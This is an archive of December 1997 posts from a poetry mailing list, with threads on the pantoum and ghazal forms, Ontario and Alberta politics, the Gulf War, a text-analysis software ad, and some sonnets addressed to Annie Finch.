209. Annie Finch
Re: pantoum
Thu 11 Dec 1997

Patricia,

What you are describing sounds like a hybrid of the ghazal (a Persian and Indian form) and the pantoum. In the ghazal the couplets are distinct thematically. I;'ve never heard of any such tradition in the pantoum. Might you be thinking of the ghazal here"

I also wondered if Shahid Ali perhaps read a ghazal rather than a pantoum at the Folger, since he's been working with ghazals for a long time.

Annie

> *At 12:34 PM 12/10/97 -0500, Annie Finch wrote:*
> *Brent,*
>
> *It comes from Malaysia, and its English form is that lines 2 and 4 of each stanza are repeated as lines 1 and 3 of the following stanza.*
>
> *<snip>*
>
> *Also, the first 2 lines and the second 2 of each quatrain deal with different subjects of themes, so what you have is both thematic and structural interlacing.*
>
> *Patricia*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

210. Harold Rhenisch
Re: Machismo Bush
Thu 11 Dec 1997

Homo Vancouver Anthropophagus wrote:

> *it shows that poets in the Canadian bush listen to,*
> *and repeat, the same boring political analysis the CBC offers every night.*

Oh no. If I have sounded like the CBC I hang my head in shame. Apologies to all. I mean that.

I hope you weren't including the bit about recolonization, because it is rampant and we dismiss it at our peril.

Or the bit about disillusionment, because I know very few people who are not profoundly disillusioned.

Or the bit about cannibalization, because it has happened, is happening, and will likely continue to happen, whatever name is given to it.

Look, my point was that Jordan's parameters were, innocently, off the mark: "mysterious right-wing" backlash, "removing money from cities", and so forth. If my analysis was trite and boring, I again apologize, but any useful Canadian analysis had better step away from race, class, and the mysteries of an anti-urban agenda, even if they are vital subjects, and talk about what is really going on, just as any useful poetics had better step away from the familiar parameters of what might be called the great project of civilization to embrace those images and cultures abandoned in the creation of that grand vision and left to moulder and fester. I did not mention 1930s Germany idly. Any country worth its salt needs to be made new, and anything that deserves the name of poetry had better remake itself, and anyone who considers him or herself an intellectual should be willing to at least consider his or her implication in the creation of his or her dark double, whether it is evil or simply ungenerous or whatever.

Race is important, class is important, but so is geography, in this country at least. We could debate the merits or demerits of each, but that is not the point. The point is that geography and its accompanying history should be in the same group as race and class. I think there might be some agreement that silent and excluded cultures should be brought into the discussion. Not just to add a few items to the agenda, but to change the terms of the agenda, not just to write a few poems in an adopted style, but to change that style. Feminism should have taught us all that much. Poetry should have taught us all that much.

Please, if you are the sophisticated political observer you appear to be, forgive this if it is boring a second time, and give us the useful analysis which I failed to do, and a useful poetics to accompany it.

Thanks.

-- Harold

↑ Index

211. **David Israel**

Re: pantoum

Thu 11 Dec 1997

Annie --

<< . . . I also wondered if Shahid Ali perhaps read a ghazal rather than a pantoum at the Folger, since he's been working with ghazals for a long time. >>

I'm aware of both forms. Shahid definitely read a pantoum (and a nice one -- though it went by a bit too quick to really quite "get" it) at the Folger. I'm pretty sure he didn't read a ghazal that evening (regrettably); in fact, guess I've never heard him read one -- though a bit later that night, over beer, he did *sing* a couplet or two (in Urdu, from memory) from Mirza Ghalib (this, after I'd recited for him the same in an English version).

Yes, I understand Agha Shahid Ali has been putting together a book anthologizing English-language ghazals -- which should be interesting to say the least. As already said, I've a hunch his pantoum might appear in his own (latest) book -- but have not yet gotten my hands on a copy, to see.

all best,
d.i.

↑ Index

212. Mark Weiss
a modest proposal
Thu 11 Dec 1997

The following message was rejected by the listserver as having been already sent. I think not. That cybercensor must be at it again. All of which gives me the opportunity to revisit and refine. Here goes.

Individual men and women tend to imagine their opposite numbers in possession of traits that they lack themselves--a dream of completion thru union that's familiar enough. Of course, those alien traits can also become pretty scary, so the dream can become a nightmare if one isn't careful. Some people split the available character traits into genders--our masculine and femimine selves became cliches in the 60's. There never was a whole lot of accuracy in this. There surely, in any society, are ranges of difference, even in innate characteristics. Men tend to be taller and faster than women, but I'm shorter and slower than most of the women I know. The learned emotional patterns also vary with circumstance within the same society. While it is certainly true that women in general have been given the short end, the degree and manner differ. As we age men lose testosterone and women gain it, which tends to lessen some of the physical and psychological differences, at least those that appear to be inherent. Maybe a way to be more precise in our political correctness than calculation by the appearance of genitals and secondary sexual characteristics would be to average the amount of estrogen and testosterone in the contributors to a magazine, say. If the average swings too far in the direction of estrogen, throw

in a young male or an older woman. If it swings too far towards testosterone, throw in a young woman. A simple blood test would do it. To demonstrate fairness to the world at large blood analyses could be included in the contributor bios that often come at the end of an issue. Perhaps a similar test could be devised for determining balance in ethnicity and class.

At 12:28 PM 12/11/97 -0700, you wrote:
>In response to:
>
>>I see a similar, but divergent view of men and women on nature. Men
>>certainly express the seeing and the moment, women bring more spirit and
>>soul, adding new dimension. For men, the exception may be Wendell Berry.
>
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>
>>Must be differences in the structure of the hippocampus that accounts for
>>this. Or maybe in the visual cortex. Or maybe it's a matter of hormones.
>Or
>>maybe it's learned behavior, and Wordsworth is different because after his
>>mother's death he insisted on wearing a dress in her memory. Or maybe this
>>just isn't remotely correct.
>
>I vote for only remotely correct. What is meant by spirit and soul?
>Obviously not that there is no spirit and soul in seeing and the moment,
>but it sounds like it.
>
>As for Berry, there are many other exceptions. For instance, shortly before
>he died last spring, Charles Lillard posed what was to be his final
>question to me: "Why have so damned many loggers in B.C. turned to writing
>poetry?" Sounds like spirit and soul. His own poetry was slammed by many
>feminists, for being blind to feminism. This was an unfortunate and gross
>mis-reading. Yes, women add new dimension. So do men. Balance would suggest
>that men are as distant from the female experience as women are from the
>male. This strikes me as a strong argument for balancing the representation
>of the sexes in the poetry world: communication, multiplicity, common
>ground. I don't think it will happen until the nature of the discussion and
>its forum change. This is just a guess. I would guess that many women are
>interested in poetics, but not in the kind of talk that goes on here. That
>is not a value judgment, by the way. I could be completely wrong.
>
>But 'more spirit and soul'? My experience is that women often cast nature

>(itself a generalization) in a stronger, more immediate social context than
>do men, or, that men are dreamers, seeking to extend their social context
>(and those dreams can be dreams of forest pillage or of utility) and women
>are practical (and that practicality can be grounded in visions), with the
>caveat that we all are all over the map, but also that we all see 'beauty'
>and corollary dimensions and react to it. Then again, this could just be an
>externalization of my own personal characteristics.
>
>Still, men may be more visually-oriented, and may be more willing to place
>what they experience into the context of 'rational' structures, even to the
>detriment of the experience, whereas women may be more willing to place
>what they experience into the context of 'social' structures. That's not
>'more spirit and soul'. That is different 'spirit and soul'. That is a
>series of terms which are often taken for granted, perhaps to our
>detriment.
>
>Perhaps better: men and women share the same 'spirit' and 'soul', but it is
>filtered differently. Perhaps because we come to the words 'spirit' and
>'soul' differently, perhaps because we come to (or leave) the experience
>differently (or maybe we don't).
>
>regards,
>
>--Harold Rhenisch
>[redacted]
>
>

↑ Index

213. George Bowering
Re: Machismo Bush
Fri 12 Dec 1997

> *Homo Vancouver Anthropophagus wrote:*
>
> *it shows that poets in the Canadian bush listen to,*
> *and repeat, the same boring political analysis the CBC offers every night.*
>
> *Oh no. If I have sounded like the CBC I hang my head in shame. Apologies to all. I mean that.*

Why the hell is that? True, the CBC aint what it was. But I cant think of another radio station that one would rather listen to.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

214. Daniel Zimmerman
Re: Machismo Bush
Fri 12 Dec 1997

The most cynical thing I ever heard a US president say was George Bush's reply to a reporter who asked why we were going to invade Kuwait: "Jobs, jobs, jobs." It's frightening to think that such excessive candor can actually reassure a public worried more about paying a few more cents per gallon at the pump. A tradeoff: [someone else's--and our own guys'!] blood for gas? Sure, what the hell. Does anyone remember greater temblors on the junkyarddog/cynicism Richter scale? Dan Zimmerman

Judy Roitman wrote:
>
> >On Wed, 10 Dec 1997, Harold Rhenisch wrote:
> >>
> >> I'd be interested in hearing how the Gulf War was perceived in the U.S.A.
> >
>
> My heart was broken twice --- by the sheer fact of war, and by the
> enthusiasm of so many people (including my own son, 10 at the time, who was
> totally sucked in by propaganda, predisposed as he was by the conventions
> of cartoons and so-called action figures), even people whose other politics
> gave me hope they would know better.
>
> ---
> Judy Roitman | "Whoppers Whoppers Whoppers!
> Math, University of Kansas | memory fails
> Lawrence, KS 66045 | these are the days."
> [redacted] |
> fax: [redacted] | Larry Eigner, 1927-1996
> ---
> Note new area code

> ----------
> http://titania.math.ukans.edu/faculty/roitman/
> ----------

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215. Susan Wheeler

Re: POETICS Digest - 10 Dec 1997 to 11 Dec 1997

Fri 12 Dec 1997

>Date: Thu, 11 Dec 1997 13:12:18 -0500
>From: "r.drake" <[redacted]>
>Subject: Re: My Little Pony, er Query
>
>chris--
>
>one ov the best sources fr bp etal is:
>
> damian lopes/afterwords literature
> Box 657 Station P Toronto M5S 2Y4 Canada
> http://www.interlog.com/~dal/after/
>
>his online catalog lists the following:
>
>
>Four Horsemen (Rafael Barreto-Rivera, Paul Dutton, Steve McCaffery, bpNichol).
>_2 Nights 4 Horsemen_.Toronto: Underwhich Editions, 1988. (Audiographics 37).
>sound poetry; 60 minute chrome cassette; recorded live in Toronto, October 1987;
>approximately 200 copies. 12.50
>
>lbd
>
>>does anyone on the list know
>>of currently available recordings
>>of The Four Horsemen? I've
>>been able to find the work as
>>featured in a few videos, but
>>can't find any full-length stuff.
>>(bootlegs and cassette-copies are
>>acceptable, so long as it's audible).

>>the EPC site makes no mention,
>>which, I take it, is a bad sign.
>>
>>best, Chris
>>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

216. Jeff Hansen
clinton
Fri 12 Dec 1997

Are we living in the fifth term of Ronald Reagan?

Jeff

↑ Index

217. robert drake
CybpherAnthology update & invitation
Fri 12 Dec 1997

---

the CybpherAnthology of Discontiguous Litteratures is
recently moved and updated... the new home URL is:

http://www.burningpress.org/va/vaintro.html

(part of the newly consolidated Burning Press website).
new additions include the complete set of RIF/T ezine,
plus new issues of Potepoettext, Potepoetzine, and the
Experioddicist... all handily indexed by author...

the CybpherAnthology now has over 1100 texts by 270
contributors (2.9 meg)--roughly 32 pounds of paper if
printed out...
still desperately needed are contributions
to the next phase: critical readings in around & thru
this corpus of new texts. you are all invited to visit,
wander, and report... tour guides welcome, neighborhood
surveyors sought, architectural critics offered a forum,
and th Speakers Corner is open fr ranters & ravers--
check out th intro page for further encouragement.

asever
luigi
public works

↑ Index

218. **Jordan Davis**
Re: Machismo Bush
Fri 12 Dec 1997

Harold, Mark,

Wow, this is better'n the globe and mail. Well ok I'll backtrack and rephrase -- the teachers of ontario were striking because why. What I heard was something along the lines of 'taxation without schoolboard autonomy' -- that the money going to fund public schooling in the cities was not going to be allocated by the schoolboards of the cities but instead by a board of governors.. now I may be conflating the dismantling of the district of columbia's schools, cops, firepeople etc with this situation..

We don't get the CBC so much in New York, but if it's anything like Public Radio International that's ok then. PRI leaks paralyzing gas that stimulates the part of the brain that says "You are helpless," much like a text that the reader is supposed to create.

La di da,
Jordan

↑ Index

219. **Susan Wheeler**
Digest Flub
Fri 12 Dec 1997

Oops. Sorry.

↑ Index

220. **Douglas Barbour**
Re: anti-union? You bet!
Fri 12 Dec 1997

Jordan Davis said:

>From here it looks like Canada's got some kind of mysterious right-wing anti-urban contingent (the guy who broke the teachers was, apparently, a lousy teacher) happily moving money out of the cities. The news from

America is, this policy succeeds in destroying the poorest people, and in intensifying racism, classism, etc.

And that 'guy' -- the premier of Ontario -- is just following, but more stupidly, the route followed, with great success, by Alberta's folksy fascist Ralph Klein. Of course, out here, the excuse was the need to cut cut cut (salaries for unionized government workers; health care, education, etc) to get rid of a huge deficit; after three years of multi-billion dollar surpluses, this argument is a little worn but they fight on against such 'special interest groups' (like the teachers of Ontario, it seems) as everyone but their good friends in big (& multinational) business.

So, yep, Jordan, it looks a lot that way from 'here' too...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

Cheers,

Judy the rational visualizing mathematician/poet very socially embedded to boot

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

223. Mark Prejsnar
Re: clinton
Fri 12 Dec 1997

On Fri, 12 Dec 1997, Jeff Hansen wrote:

> *Are we living in the fifth term of Ronald Reagan?*
>
> *Jeff*

.....Yup.

Mark P.

↑ Index

224. Judy Roitman
Diction
Fri 12 Dec 1997

Wowee zowee, I just got an ad for a computer program called Diction 4.0, which is "a scientific method for determining the tone of a verbal message using a powerful language analysis software program that searches a passage for five general features as well as thirty-five sub-features." These five features are: certainty, activity, optimism, realism, and commonality. And so on.

Comes from a guy in the depts. of communications (natch) & government at UT Austin.

Have no idea how I got on this particular mailing list and sure can't afford the $ $ or time to check into this, but has anyone used stuff like this? It seems so...so.... bizarre.

(By the way, Maya Angelou's so-called poem for Clinton's inauguration is one of the sample texts included, as are speeches by Clinton, Nixon, and Dole, as well as "several other interesting passages." Indeed.)

Oh yeah, if anyone wants to order it, it costs $89 until Dec. 31, $129 after, runs only with Windows (yuck), [redacted]. Which is not a plug, not at all.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

225. **Harold Rhenisch**
Re: Machismo Bush
Fri 12 Dec 1997

> *Why the hell is that? True, the CBC aint what it was. But I cant think of another radio station that one would rather listen to.*

Point a: for its self-satisfaction and its comfortable biases.

Point b: you're right. It's either that or nothing.

Still, I spent a month once in my basement, under one swaying, naked electric bulb, grafting fruit tree rootstocks, listening to the CBC. It was like a sentence of solitary confinement in a prison of natter. I spent the next two weeks in silence. Which was better. Then I went outside. Which was better. It was spring out there.

Still, you're right: some Top 40 station, or the C&W out of Spokane, or interminable talk shows out of Seattle, would have been worse.

--Harold

↑ Index

226. **Harold Rhenisch**
Re: Machismo Bush
Fri 12 Dec 1997

> *Harold, Mark,*
>
> *Wow, this is better'n the globe and mail.*

I hope so!

>>Well ok I'll backtrack and rephrase -- the teachers of ontario were striking because why. What I heard was something along the lines of 'taxation without schoolboard autonomy' -- that the money going to fund public schooling in the cities was not going to be allocated by the schoolboards of the cities but
instead by a board of governors...<<

Yeah, that's what I heard, too, but you're probably closer to Toronto, wherever you are, than I am, here in B.C. Mind you, it's my understanding that that is not just a city thing: all schoolboards in Ontario will lose their autonomy. As I understand it, power is being removed from the local level and allocated to the provincial level, which does not allow for any kind of sophistication of delivery.

-- Harold

↑ Index

227. William Burmeister Prod

Re: Machismo Bush

Fri 12 Dec 1997

Judy wrote,

> *The worst moment in the GW for me was the triumphant reporting of our magnificent victory in bombing hence burning alive in their vehicles all those guys trapped in the giant Iraqi traffic jam of tanks and trucks and who knows what trying to get themselves home, as if this was an act of bravery on our part. I have a friend who is a soldier and I understand that armies do things like that, it is, as one says, in their mission, but we should at least have the compassion not to rejoice at the sufferings of others, that's what I was taught and continue to enact every Passover.*

One of the worst moments that was ugly all around. The triumphant reporting by the military of the event (playing the part of the "good cops"), the frame job and laundering by the news media, and the depraved Iraqi soldiers caught fleeing a city whose citizens they had shot and raped, whose zoo animals they had tortured to death.

> *By the way, the men/women thread going on is one I find either offensive or silly, can't decide. You're a major perp, so thought I'd pass it one woman's feelings on.*

Thank you for the much needed comment. If this thing continues in this direction, we'll be looking at the 2nd order statistics and power spectrums of the numbers.

William Burmeister

↑ Index

228. Harold Rhenisch
Re: anti-union? You bet!
Fri 12 Dec 1997

Douglas Barbour said:

>>And that 'guy' -- the premier of Ontario -- is just following, but more stupidly, the route followed, with great success, by Alberta's folksy fascist Ralph Klein. Of course, out here, the excuse was the need to cut cut cut (salaries for unionized government workers; health care, education, etc) to get rid of a huge deficit; after three years of multi-billion dollar surpluses, this argument is a little worn but they fight on against such 'special interest groups' (like the teachers of Ontario, it seems) as everyone but their good friends in big (& multinational) business.<<

Folksy fascist. Well said!

I like that 'special interest group' thing: the entire population can be dismissed with three words. Better yet, that dismissed population seems to accept it, or has not found a way to combat it. Worse yet, each member of the population has been isolated from all the rest. All with 3 words.

Maybe Bob Grumman should put Ralph Klein on his minimalist poetry site. Whatcha say, Bob?

-- Harold Rhenisch
[redacted]

↑ Index

229. Steven Marks
rationally visual math
Fri 12 Dec 1997

Judy,

As a wannabe mathematician who met his Waterloo in 2nd semester calculus (just couldn't get integration; loved differentiation), I'm curious about what field of mathematics you study in and how that informs your poetry/poetics. If it does at all.

cheers,
Steven

On Fri, 12 Dec 1997, Judy Roitman
wrote:

> *Judy the rational visualizing mathematician/poet very socially embedded to boot*
>
> ---
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> [redacted] |
> *fax:* [redacted] | *Larry Eigner, 1927-1996*
> ---
> *Note new area code*
> ---
> *http://titania.math.ukans.edu/faculty/roitman/*
> ---

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

230. William Burmeister Prod

Re: Diction

Fri 12 Dec 1997

On Dec 12, 11:12am, Judy Roitman wrote:
> Subject: Diction
> Wowee zowee, I just got an ad for a computer program called Diction 4.0,
> which is "a scientific method for determining the tone of a verbal message
> using a powerful language analysis software program that searches a passage
> for five general features as well as thirty-five sub-features." These five
> features are: certainty, activity, optimism, realism, and commonality. And
> so on.
>
> Comes from a guy in the depts. of communications (natch) & government at UT
> Austin.
>
> Have no idea how I got on this particular mailing list and sure can't

> afford the $$ or time to check into this, but has anyone used stuff like
> this? It seems so...so.... bizarre.
>
> (By the way, Maya Angelou's so-called poem for Clinton's inauguration is
> one of the sample texts included, as are speeches by Clinton, Nixon, and
> Dole, as well as "several other interesting passages." Indeed.)
>
> Oh yeah, if anyone wants to order it, it costs $89 until Dec. 31, $129
> after, runs only with Windows (yuck), [redacted]. Which is not a
> plug, not at all.
>
>
>
> ---
> Judy Roitman | "Whoppers Whoppers Whoppers!
> Math, University of Kansas | memory fails
> Lawrence, KS 66045 | these are the days."
> [redacted] |
> fax: [redacted] | Larry Eigner,
1927-1996
> ---
> Note new area code
> ---
> http://titania.math.ukans.edu/faculty/roitman/
> ---
>-- End of excerpt from Judy Roitman

pattern/template matching with speaker-independent speech recognition? Those categories sound a bit odd or off base to me though. Maybe will find its way into government hands as another lie detector, or end up as an electronic critic.

William B.

↑ Index

231. Mark Weiss
Re: Machismo Bush
Fri 12 Dec 1997

Math's not my strong point. How would that work?

>
>>By the way, the men/women thread going on is one I find either offensive or
>>silly, can't decide. You're a major perp, so thought I'd pass it one

>>woman's feelings on.
>
>
>
>Thank you for the much needed comment. If this thing continues in this
>direction, we'll be looking at the 2nd order statistics and power
spectrums of
>the numbers.
>
>
>William Burmeister
>
>

↑ Index

232. Bob Grumman
Ralph Klein and Comprepoetica
Fri 12 Dec 1997

This is a multi-part message in MIME format.

"Maybe Bob Grumman should put Ralph Klein on his minimalist poetry site," says Harold Rhenisch. "Whatcha say, Bob?"

Hey, I've been trying to get him to fill out my survey form since before I announced my site to anyone else, but he keeps saying no.

--Bob G.

>
> -- Harold Rhenisch
> [redacted]

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------524257D1282--

↑ Index

233. Mark Baker
Re: Machismo Bush
Sat 13 Dec 1997

Why, Harold Rhenisch, astute politico, hang your head in shame when you worry that you sound like the CBC, especially since you sound like the BBC, circa Winston?

About recolonization:
> it is rampant and we dismiss it at our peril.

About cannibalization:
> it has happened, is happening, and will likely continue to happen,
> whatever name is given to it.

Never have so few enlightened poets, squeezed between the conspicuous squadristi in fascist Alberta and we Vancouver imperialists who have come, after digesting ourselves, to complete our despoiling and immiserating and annexing and certainly deculturating the ancient gemeinshaft of hitherto self-sufficient happy loggers, owed so much poetic disillusion to so many democratic voters.

Mark Baker

↑ Index

234. Patricia Cockram
Re: invitation to women writers
Sat 13 Dec 1997

At 03:56 PM 12/11/97 +0000, you wrote:
<snip>
>How about a piece on not understanding carbuerators, which, by the way are quickly becoming extinct as fule injection takes over. Anyone out there writing a lament for the big quad Holley's and Rochester's"

Yeah. I miss carburators. I used to be able to work on my own car; now I a) don't have one any more and b) wouldn't be able to tune it up if I did. Patricia

↑ Index

235. Patricia Cockram
Re: pantoum
Sat 13 Dec 1997

At 09:50 PM 12/11/97 -0500, Annie wrote:

>What you are describing sounds like a hybrid of the ghazal (a Persian and
>Indian form) and the pantoum. In the ghazal the couplets are distinct
>thematically. I;'ve never heard of any such tradition in the pantoum.
>Might you be thinking of the ghazal here"
>
>I also wondered if Shahid Ali perhaps read a ghazal rather than a pantoum
>at the Folger, since he's been working with ghazals for a long time.
>
I don't remember where I learned what a pantoum was, but I just checked the Princeton Handbook of Poetic Terms; they use the same description I gave for a pantoum, and they do not mention this feature in their definition of a ghazal. I realize, however, that western interpretations of eastern forms may be wrong or over-simplified, so I defer to you.
Patricia

↑ Index

236. **Cadaly**
Re: rationally visual math
Sat 13 Dec 1997

---

ditto

I have found many relationships, whether in my native interest in logic and "sprung" logic, induction, etc.

I find that in many ways mathematical expressions can act in the same way as some poems: the movement in calculus, the relationships in algebra, the elegance of some proofs, the way that slightly different assumptions lead to entirely different systems.

But it would be nice to hear from someone with more knowledge in this area.

You are familiar with the India-n traditions of mathematical meditation? They really appealed to me as an undergrad during a math-religion double major phase. Of course I was using it as an excuse to "meditate" on the ramifications of something rather than do the problem. I don't think I have the books anymore, but there were some wacky guys on mountains just pondering math problems and coming up with some interesting stuff.

Catherine Daly
[redacted]

↑ Index

237. Tom Orange
Machismo Harris
Sat 13 Dec 1997

jordan, harold, douglas et al.:

yes, bill 160 takes decisions that formerly resided at the local school board level (such as class size, preparation time, length of school day and year) and places them in the hands of the provincial *cabinet* -- particularly frightening because premier mike harris' initial education minister was one john snowblen, a high school dropout; then when the teachers' strike got going, harris replaced snowblen with dave johnson who is known primarily as a union buster and the sucessful foiler of a public service workers strike almost two years ago.

among the many sad deplorable things in all this was to see the students become pawns in the whole things and to hear the insulting rhetoric dripping from harris' mouth: teachers, think about what those nasty union bosses are telling you before you jeopardize the futures of your students.

and then to top it off: 1) johnson told the papers that teachers who wore green ribbons of protest in the classroom after the strike had no business discussing the strike in the classroom, that it was "morally wrong"; right, no place for politics in the classroom, and while we're at it, keep out history, government, economics, ethics, oh hell thought in general... 2) harris, at a recent summit on the future of post-secondary education, told the audience that, because of the multiple ontario grad programs in the humanities, sociology, and geography, graduates of sd programs have "very little chance of contributing to society in any meaningful way" (globe/mail november 20 or 21).

nuff sd,

tom orange / london, ontario
president, psac #610 uwo-gta union

Writing develops subjects that mean the words we have for them.
 -- Leslie Scalapino
Language isn't anything of itself--it's something which is in the mind of
the host, the parasite that the poem is invading...
 -- Jack Spicer

↑ Index

238. DANIEL L. COLLIER
Re: Diction
Sat 13 Dec 1997

Electronic critic? A great idea. How about a whole electronic poetry workshop, complete with optional biases under the "preferences" menu. Select "Random P.P." and feed it your poem and BEEP BEEP you get criticism from the obsessive perspective of workshop members with a randomly-generated psycho-sexual profiles. Edit the result and you get a completely different poem.

Or load your patented pattern/template matching writer-independent speech/writing recognition editing program, feed it the results and let it go to....

Danny Collier
[redacted]

"...and at least I've been writing every day, as the great Hemingway taught us, right before he shot himself..."
--Evgeny Popov

****

William B. Wrote:

pattern/template matching with speaker-independent speech recognition? Those categories sound a bit odd or off base to me though. Maybe will find its way into government hands as another lie detector, or end up as an electronic critic.

↑ Index

239. Annie Finch
Re: pantoum
Sat 13 Dec 1997

> *At 09:50 PM 12/11/97 -0500, Annie wrote:*
>
> *What you are describing sounds like a hybrid of the ghazal (a Persian and Indian form) and the pantoum. In the ghazal the couplets are distinct thematically. I;'ve never heard of any such tradition in the pantoum. Might you be thinking of the ghazal here"*
>
> *I also wondered if Shahid Ali perhaps read a ghazal rather than a pantoum at the Folger, since he's been working with ghazals for a long time.*

> *I don't remember where I learned what a pantoum was, but I just checked the Princeton Handbook of Poetic Terms; they use the same description I gave for a pantoum, and they do not mention this feature in their definition of a ghazal. I realize, however, that western interpretations of eastern forms may be wrong or over-simplified, so I defer to you.*
> *Patricia*

So it is--right there in the Princeton. Thanks Patricia. That makes the pantoum a still more interesting form. My sense that the couplets of the ghazal are thematically self-contained comes from Shahid Ali's essay on the ghazal, which I'll be including in a collection of essays I'm editing on poetic forms.

Annie

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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240. **Harold Rhenisch**
Re: Machismo Bush
Sat 13 Dec 1997

Mark Baker, wrote

>>Never have so few enlightened poets, squeezed between the conspicuous
squadristi in fascist Alberta and we Vancouver imperialists who have come, after digesting ourselves, to complete our despoiling and immiserating and annexing and certainly deculturating the ancient gemeinshaft of hitherto self-sufficient happy loggers, owed so much poetic disillusion to so many democratic voters.<<

Well done, Mark. :-)

But, never?

Hmmm, I quote: "And if you wish to understand true economics, you must look outside the damned American press. You must read that which is being printed in Europe, in Italy. And for the moment it being difficult to obtain printed press, you ought to listen as much as possible to the European transmissions and the European addresses in this connection, in connection with money, with credit, with money on the basis of work, with work that you have‹every one of you‹residing in your brains and brawn."

EP, the happy logger of Rapallo, up to his neck in debt
Rome, May 24, 1943, FCC Transcript #91

--Harold Rhenisch

↑ Index

241. KENT JOHNSON
Four Sonnets for Annie Finch
Sat 13 Dec 1997

Inclined Pole Where Tomorrow the Young Men

What makes some forms more interesting to
"New Formalist" poets than others? Would
you see the formal challenges of the
sonnet or villanelle, for example, as being
of more "poetic value" (or more worthy of
attention, or more relevant to our
times, etc.) than, say, any of the hundreds
of invented Oulipean procedural
constraints, or any of the hundreds,
for instance, of Jackson Mac Low's opera-
tional creations? I believe you will
say that no, there is nothing really
intrinsically "better" about the
old traditional forms, and answer thus:

The Poem Itself is the Final Pudding

But with so many poetic recipes at hand,
and most of them of recent design, why
do some "formalist" poets (a number
of them on record as being rather
arrogant about the whole thing) equate
"formal feeling" with accentual sy-
llabic strictures and old European
stanzaic structures? I know it sounds trite,
but sometimes I wonder if the content
extending form or the form extending
content (do you see a real difference?)
goes deeper than the poem. I mean, you know,
what is the dark-matter trunk of the sonnet
form and the severed head of the Tutsi child?

The Freedom That a Skeleton of Perceiving Has

And where and when does a sonnet cease to
be a Sonnet? For example, John Clarke, whose

mentor, somewhat paradoxically,
was Charles Olson, consistently crammed mass-
ive amounts of cultural/historical
matter into fourteen line poems that he called
(and in no way ironically) "Sonnets." But
his lines rarely scan iambically
(though they are usually of ten sylla-
bles, with frequent alexandrine substitutions)
and end-rhyme is little employed. No, it's not free
verse: It's iambs being pounded into dactyls
and spondees. It's the quantum rocks of rhyme
thrown up (and washed throughout the poem) to show

[trailing couplet]

the world beneath (world of bright insects and
invisible maze-cities appearing).

Are the Sonnets of Gioia Better Sonnets than the Sonnets of Clarke?

And I don't mean "better poems" because I
know the answer to that one. And Clarke, too,
would have said, I believe, that his poems come
from a "Formal Feeling," but a feeling
with such a volume and head behind it
that only the major shape of sonnet
form is left. Like the ruins of a temple
pounded by history. The sonnet is
like that, and that is partly the point, I think,
that the words and the syllables are like
the waters and the winds that leave their in-
scriptions _in the form_ of the ruins and
give them their actual form. There is no
language outside the ruin of form.

best,
Kent

↑ Index

242. **Mark Weiss**
Re: Machismo Bush
Sat 13 Dec 1997

Pound, of course, wrote before the internet. Check out the Washington Post's international links. On lonely nights I read the papers from Western

Samoa.
www.pagefrance.com/ is also good if you read the lingo. Many of the Paris papers, and a lot more. Miss Lorraine has just won the Miss France contest, by the way.
I suspect that other major countries also have such.
And there are a gazillion high-quality free economics and finance sites.

At 03:38 PM 12/13/97 -0700, you wrote:
>Mark Baker, wrote
>
>>>Never have so few enlightened poets, squeezed between the
>conspicuous
>squadristi in fascist Alberta and we Vancouver imperialists who have
>come, after digesting ourselves, to complete our despoiling and
>immiserating and annexing and certainly deculturating the ancient
>gemeinshaft of hitherto self-sufficient happy loggers, owed so much
>poetic disillusion to so many democratic voters.<<
>
>Well done, Mark. :-)
>
>But, never?
>
>Hmmm, I quote: "And if you wish to understand true economics, you must
>look outside the damned American press. You must read that which is
>being printed in Europe, in Italy. And for the moment it being
>difficult to obtain printed press, you ought to listen as much as
>possible to the European transmissions and the European addresses in
>this connection, in connection with money, with credit, with money on
>the basis of work, with work that you have‹every one of
>you‹residing in your brains and brawn."
>
>EP, the happy logger of Rapallo, up to his neck in debt
>Rome, May 24, 1943, FCC Transcript #91
>
>--Harold Rhenisch
>
>

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243. **David R. Israel**

Re: Diction

Sat 13 Dec 1997

Judy Roitman's latest-from-the-techno-front report seems intersting as a curiousity / novelty --

> *Wowee zowee, I just got an ad for a computer program called Diction 4.0, which is "a scientific method for determining the tone of a verbal message using a powerful language analysis software program that searches a passage for five general features as well as thirty-five sub-features." These five features are: certainty, activity, optimism, realism, and commonality. . . .*

Naturally, such a program would (methinks) be only as saavy as its programmers. That is, the basis for determination of the tone of a specimen of writing certainly would appear to be very culture-bound; I wonder how in the world their software would deal with your average epistolary utterance from the 18th or 19th century, say. From the brief description you give (or summarize), I'd imagine the program assumes such things as: contemporary (late 20th century) language; (presumably) some or other sorta class background / education; whatnot.

One idly wonders how in the world it would deal with a sentence from your average John Ashbery or John Yau or Leslie Scalapino poem, say. Or if it could make heads or tails of (as another case) e.e. cummings. (Am reading his nonlectures at the moment, some of which text might read as manic-depressive or something?)

> *(By the way, Maya Angelou's so-called poem for Clinton's inauguration is one of the sample texts included, as are speeches by Clinton, Nixon, and Dole, as well as "several other interesting passages." Indeed.)*
>
> *Oh yeah, if anyone wants to order it, it costs $89 until Dec. 31, . . . [redacted]. Which is not a plug, not at all.*

